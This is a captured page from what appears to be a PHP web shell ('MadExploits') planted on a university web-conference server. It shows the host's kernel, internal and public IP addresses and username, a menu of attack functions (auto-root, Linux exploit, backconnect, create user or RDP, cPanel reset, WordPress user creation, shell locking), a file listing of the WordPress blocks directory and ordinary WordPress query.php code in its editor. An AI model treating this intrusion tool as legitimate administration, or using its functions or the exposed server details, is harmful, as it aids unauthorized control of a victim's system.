Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.143.17.75
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
var /
www /
html /
aaou /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
archives
[ DIR ]
drwxrwxr-x
audio
[ DIR ]
drwxrwxr-x
avatar
[ DIR ]
drwxrwxr-x
block
[ DIR ]
drwxrwxr-x
button
[ DIR ]
drwxrwxr-x
buttons
[ DIR ]
drwxrwxr-x
calendar
[ DIR ]
drwxrwxr-x
categories
[ DIR ]
drwxrwxr-x
code
[ DIR ]
drwxrwxr-x
column
[ DIR ]
drwxrwxr-x
columns
[ DIR ]
drwxrwxr-x
comment-author-name
[ DIR ]
drwxrwxr-x
comment-content
[ DIR ]
drwxrwxr-x
comment-date
[ DIR ]
drwxrwxr-x
comment-edit-link
[ DIR ]
drwxrwxr-x
comment-reply-link
[ DIR ]
drwxrwxr-x
comment-template
[ DIR ]
drwxrwxr-x
comments
[ DIR ]
drwxrwxr-x
comments-pagination
[ DIR ]
drwxrwxr-x
comments-pagination-next
[ DIR ]
drwxrwxr-x
comments-pagination-numbers
[ DIR ]
drwxrwxr-x
comments-pagination-previous
[ DIR ]
drwxrwxr-x
comments-title
[ DIR ]
drwxrwxr-x
cover
[ DIR ]
drwxrwxr-x
details
[ DIR ]
drwxrwxr-x
embed
[ DIR ]
drwxrwxr-x
file
[ DIR ]
drwxrwxr-x
footnotes
[ DIR ]
drwxrwxr-x
freeform
[ DIR ]
drwxrwxr-x
gallery
[ DIR ]
drwxrwxr-x
group
[ DIR ]
drwxrwxr-x
heading
[ DIR ]
drwxrwxr-x
home-link
[ DIR ]
drwxrwxr-x
html
[ DIR ]
drwxrwxr-x
image
[ DIR ]
drwxrwxr-x
latest-comments
[ DIR ]
drwxrwxr-x
latest-posts
[ DIR ]
drwxrwxr-x
legacy-widget
[ DIR ]
drwxrwxr-x
list
[ DIR ]
drwxrwxr-x
list-item
[ DIR ]
drwxrwxr-x
loginout
[ DIR ]
drwxrwxr-x
media-text
[ DIR ]
drwxrwxr-x
missing
[ DIR ]
drwxrwxr-x
more
[ DIR ]
drwxrwxr-x
navigation
[ DIR ]
drwxrwxr-x
navigation-link
[ DIR ]
drwxrwxr-x
navigation-submenu
[ DIR ]
drwxrwxr-x
nextpage
[ DIR ]
drwxrwxr-x
page-list
[ DIR ]
drwxrwxr-x
page-list-item
[ DIR ]
drwxrwxr-x
paragraph
[ DIR ]
drwxrwxr-x
pattern
[ DIR ]
drwxrwxr-x
post-author
[ DIR ]
drwxrwxr-x
post-author-biography
[ DIR ]
drwxrwxr-x
post-author-name
[ DIR ]
drwxrwxr-x
post-comments-form
[ DIR ]
drwxrwxr-x
post-content
[ DIR ]
drwxrwxr-x
post-date
[ DIR ]
drwxrwxr-x
post-excerpt
[ DIR ]
drwxrwxr-x
post-featured-image
[ DIR ]
drwxrwxr-x
post-navigation-link
[ DIR ]
drwxrwxr-x
post-template
[ DIR ]
drwxrwxr-x
post-terms
[ DIR ]
drwxrwxr-x
post-title
[ DIR ]
drwxrwxr-x
preformatted
[ DIR ]
drwxrwxr-x
pullquote
[ DIR ]
drwxrwxr-x
query
[ DIR ]
drwxrwxr-x
query-no-results
[ DIR ]
drwxrwxr-x
query-pagination
[ DIR ]
drwxrwxr-x
query-pagination-next
[ DIR ]
drwxrwxr-x
query-pagination-numbers
[ DIR ]
drwxrwxr-x
query-pagination-previous
[ DIR ]
drwxrwxr-x
query-title
[ DIR ]
drwxrwxr-x
quote
[ DIR ]
drwxrwxr-x
read-more
[ DIR ]
drwxrwxr-x
rss
[ DIR ]
drwxrwxr-x
search
[ DIR ]
drwxrwxr-x
separator
[ DIR ]
drwxrwxr-x
shortcode
[ DIR ]
drwxrwxr-x
site-logo
[ DIR ]
drwxrwxr-x
site-tagline
[ DIR ]
drwxrwxr-x
site-title
[ DIR ]
drwxrwxr-x
social-link
[ DIR ]
drwxrwxr-x
social-links
[ DIR ]
drwxrwxr-x
spacer
[ DIR ]
drwxrwxr-x
table
[ DIR ]
drwxrwxr-x
tag-cloud
[ DIR ]
drwxrwxr-x
template-part
[ DIR ]
drwxrwxr-x
term-description
[ DIR ]
drwxrwxr-x
text-columns
[ DIR ]
drwxrwxr-x
verse
[ DIR ]
drwxrwxr-x
video
[ DIR ]
drwxrwxr-x
widget-group
[ DIR ]
drwxrwxr-x
archives.php
2.89
KB
-rw-rw-r--
avatar.php
5.5
KB
-rw-rw-r--
block.php
1.57
KB
-rw-rw-r--
blocks-json.php
159.82
KB
-rw-rw-r--
calendar.php
5.99
KB
-rw-rw-r--
categories.php
2.78
KB
-rw-rw-r--
comment-author-name.php
2.05
KB
-rw-rw-r--
comment-content.php
2.36
KB
-rw-rw-r--
comment-date.php
1.56
KB
-rw-rw-r--
comment-edit-link.php
1.64
KB
-rw-rw-r--
comment-reply-link.php
1.99
KB
-rw-rw-r--
comment-template.php
4.35
KB
-rw-rw-r--
comments-pagination-next.php
1.81
KB
-rw-rw-r--
comments-pagination-numbers.ph...
1.56
KB
-rw-rw-r--
comments-pagination-previous.p...
1.61
KB
-rw-rw-r--
comments-pagination.php
1.13
KB
-rw-rw-r--
comments-title.php
2.67
KB
-rw-rw-r--
comments.php
6.47
KB
-rw-rw-r--
cover.php
2.45
KB
-rw-rw-r--
file.php
3.26
KB
-rw-rw-r--
footnotes.php
3.03
KB
-rw-rw-r--
gallery.php
4.84
KB
-rw-rw-r--
heading.php
1.23
KB
-rw-rw-r--
home-link.php
5.19
KB
-rw-rw-r--
image.php
14.36
KB
-rw-rw-r--
index.php
4.48
KB
-rw-rw-r--
latest-comments.php
4.88
KB
-rw-rw-r--
latest-posts.php
8.17
KB
-rw-rw-r--
legacy-widget.php
3.81
KB
-rw-rw-r--
loginout.php
1.35
KB
-rw-rw-r--
navigation-link.php
11.65
KB
-rw-rw-r--
navigation-submenu.php
8.81
KB
-rw-rw-r--
navigation.php
37.31
KB
-rw-rw-r--
page-list-item.php
342
B
-rw-rw-r--
page-list.php
13.14
KB
-rw-rw-r--
pattern.php
1.4
KB
-rw-rw-r--
post-author-biography.php
1.41
KB
-rw-rw-r--
post-author-name.php
1.71
KB
-rw-rw-r--
post-author.php
2.51
KB
-rw-rw-r--
post-comments-form.php
2.68
KB
-rw-rw-r--
post-content.php
2.07
KB
-rw-rw-r--
post-date.php
2.29
KB
-rw-rw-r--
post-excerpt.php
3.33
KB
-rw-rw-r--
post-featured-image.php
7.37
KB
-rw-rw-r--
post-navigation-link.php
4.38
KB
-rw-rw-r--
post-template.php
5.52
KB
-rw-rw-r--
post-terms.php
3.31
KB
-rw-rw-r--
post-title.php
2.02
KB
-rw-rw-r--
query-no-results.php
1.71
KB
-rw-rw-r--
query-pagination-next.php
3.6
KB
-rw-rw-r--
query-pagination-numbers.php
4.41
KB
-rw-rw-r--
query-pagination-previous.php
3.05
KB
-rw-rw-r--
query-pagination.php
1.11
KB
-rw-rw-r--
query-title.php
2.01
KB
-rw-rw-r--
query.php
7.16
KB
-rw-rw-r--
read-more.php
1.75
KB
-rw-rw-r--
require-dynamic-blocks.php
3.85
KB
-rw-rw-r--
require-static-blocks.php
536
B
-rw-rw-r--
rss.php
3.83
KB
-rw-rw-r--
search.php
23.94
KB
-rw-rw-r--
shortcode.php
697
B
-rw-rw-r--
site-logo.php
5.79
KB
-rw-rw-r--
site-tagline.php
994
B
-rw-rw-r--
site-title.php
1.73
KB
-rw-rw-r--
social-link.php
60.44
KB
-rw-rw-r--
tag-cloud.php
1.37
KB
-rw-rw-r--
template-part.php
9.44
KB
-rw-rw-r--
term-description.php
1.27
KB
-rw-rw-r--
widget-group.php
2.12
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : query.php
<?php /** * Server-side rendering of the `core/query` block. * * @package WordPress */ /** * Modifies the static `core/query` block on the server. * * @since 6.4.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block The block instance. * * @return string Returns the modified output of the query block. */ function render_block_core_query( $attributes, $content, $block ) { if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag() ) { // Add the necessary directives. $p->set_attribute( 'data-wp-interactive', true ); $p->set_attribute( 'data-wp-navigation-id', 'query-' . $attributes['queryId'] ); // Use context to send translated strings. $p->set_attribute( 'data-wp-context', wp_json_encode( array( 'core' => array( 'query' => array( 'loadingText' => __( 'Loading page, please wait.' ), 'loadedText' => __( 'Page Loaded.' ), ), ), ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP ) ); $content = $p->get_updated_html(); // Mark the block as interactive. $block->block_type->supports['interactivity'] = true; // Add a div to announce messages using `aria-live`. $html_tag = 'div'; if ( ! empty( $attributes['tagName'] ) ) { $html_tag = esc_attr( $attributes['tagName'] ); } $last_tag_position = strripos( $content, '</' . $html_tag . '>' ); $content = substr_replace( $content, '<div class="screen-reader-text" aria-live="polite" data-wp-text="context.core.query.message" ></div> <div class="wp-block-query__enhanced-pagination-animation" data-wp-class--start-animation="selectors.core.query.startAnimation" data-wp-class--finish-animation="selectors.core.query.finishAnimation" ></div>', $last_tag_position, 0 ); } } $view_asset = 'wp-block-query-view'; if ( ! wp_script_is( $view_asset ) ) { $script_handles = $block->block_type->view_script_handles; // If the script is not needed, and it is still in the `view_script_handles`, remove it. if ( ( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) ) && in_array( $view_asset, $script_handles, true ) ) { $block->block_type->view_script_handles = array_diff( $script_handles, array( $view_asset ) ); } // If the script is needed, but it was previously removed, add it again. if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $view_asset, $script_handles, true ) ) { $block->block_type->view_script_handles = array_merge( $script_handles, array( $view_asset ) ); } } $style_asset = 'wp-block-query'; if ( ! wp_style_is( $style_asset ) ) { $style_handles = $block->block_type->style_handles; // If the styles are not needed, and they are still in the `style_handles`, remove them. if ( ( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) ) && in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) ); } // If the styles are needed, but they were previously removed, add them again. if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) ); } } return $content; } /** * Ensure that the view script has the `wp-interactivity` dependency. * * @since 6.4.0 * * @global WP_Scripts $wp_scripts */ function block_core_query_ensure_interactivity_dependency() { global $wp_scripts; if ( isset( $wp_scripts->registered['wp-block-query-view'] ) && ! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-query-view']->deps, true ) ) { $wp_scripts->registered['wp-block-query-view']->deps[] = 'wp-interactivity'; } } add_action( 'wp_print_scripts', 'block_core_query_ensure_interactivity_dependency' ); /** * Registers the `core/query` block on the server. */ function register_block_core_query() { register_block_type_from_metadata( __DIR__ . '/query', array( 'render_callback' => 'render_block_core_query', ) ); } add_action( 'init', 'register_block_core_query' ); /** * Traverse the tree of blocks looking for any plugin block (i.e., a block from * an installed plugin) inside a Query block with the enhanced pagination * enabled. If at least one is found, the enhanced pagination is effectively * disabled to prevent any potential incompatibilities. * * @since 6.4.0 * * @param array $parsed_block The block being rendered. * @return string Returns the parsed block, unmodified. */ function block_core_query_disable_enhanced_pagination( $parsed_block ) { static $enhanced_query_stack = array(); static $dirty_enhanced_queries = array(); static $render_query_callback = null; $block_name = $parsed_block['blockName']; if ( 'core/query' === $block_name && isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] ) ) { $enhanced_query_stack[] = $parsed_block['attrs']['queryId']; if ( ! isset( $render_query_callback ) ) { /** * Filter that disables the enhanced pagination feature during block * rendering when a plugin block has been found inside. It does so * by adding an attribute called `data-wp-navigation-disabled` which * is later handled by the front-end logic. * * @param string $content The block content. * @param array $block The full block, including name and attributes. * @return string Returns the modified output of the query block. */ $render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) { $has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] ); if ( ! $has_enhanced_pagination ) { return $content; } if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag() ) { $p->set_attribute( 'data-wp-navigation-disabled', 'true' ); } $content = $p->get_updated_html(); $dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null; } array_pop( $enhanced_query_stack ); if ( empty( $enhanced_query_stack ) ) { remove_filter( 'render_block_core/query', $render_query_callback ); $render_query_callback = null; } return $content; }; add_filter( 'render_block_core/query', $render_query_callback, 10, 2 ); } } elseif ( ! empty( $enhanced_query_stack ) && isset( $block_name ) && ( ! str_starts_with( $block_name, 'core/' ) || 'core/post-content' === $block_name ) ) { foreach ( $enhanced_query_stack as $query_id ) { $dirty_enhanced_queries[ $query_id ] = true; } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );
Close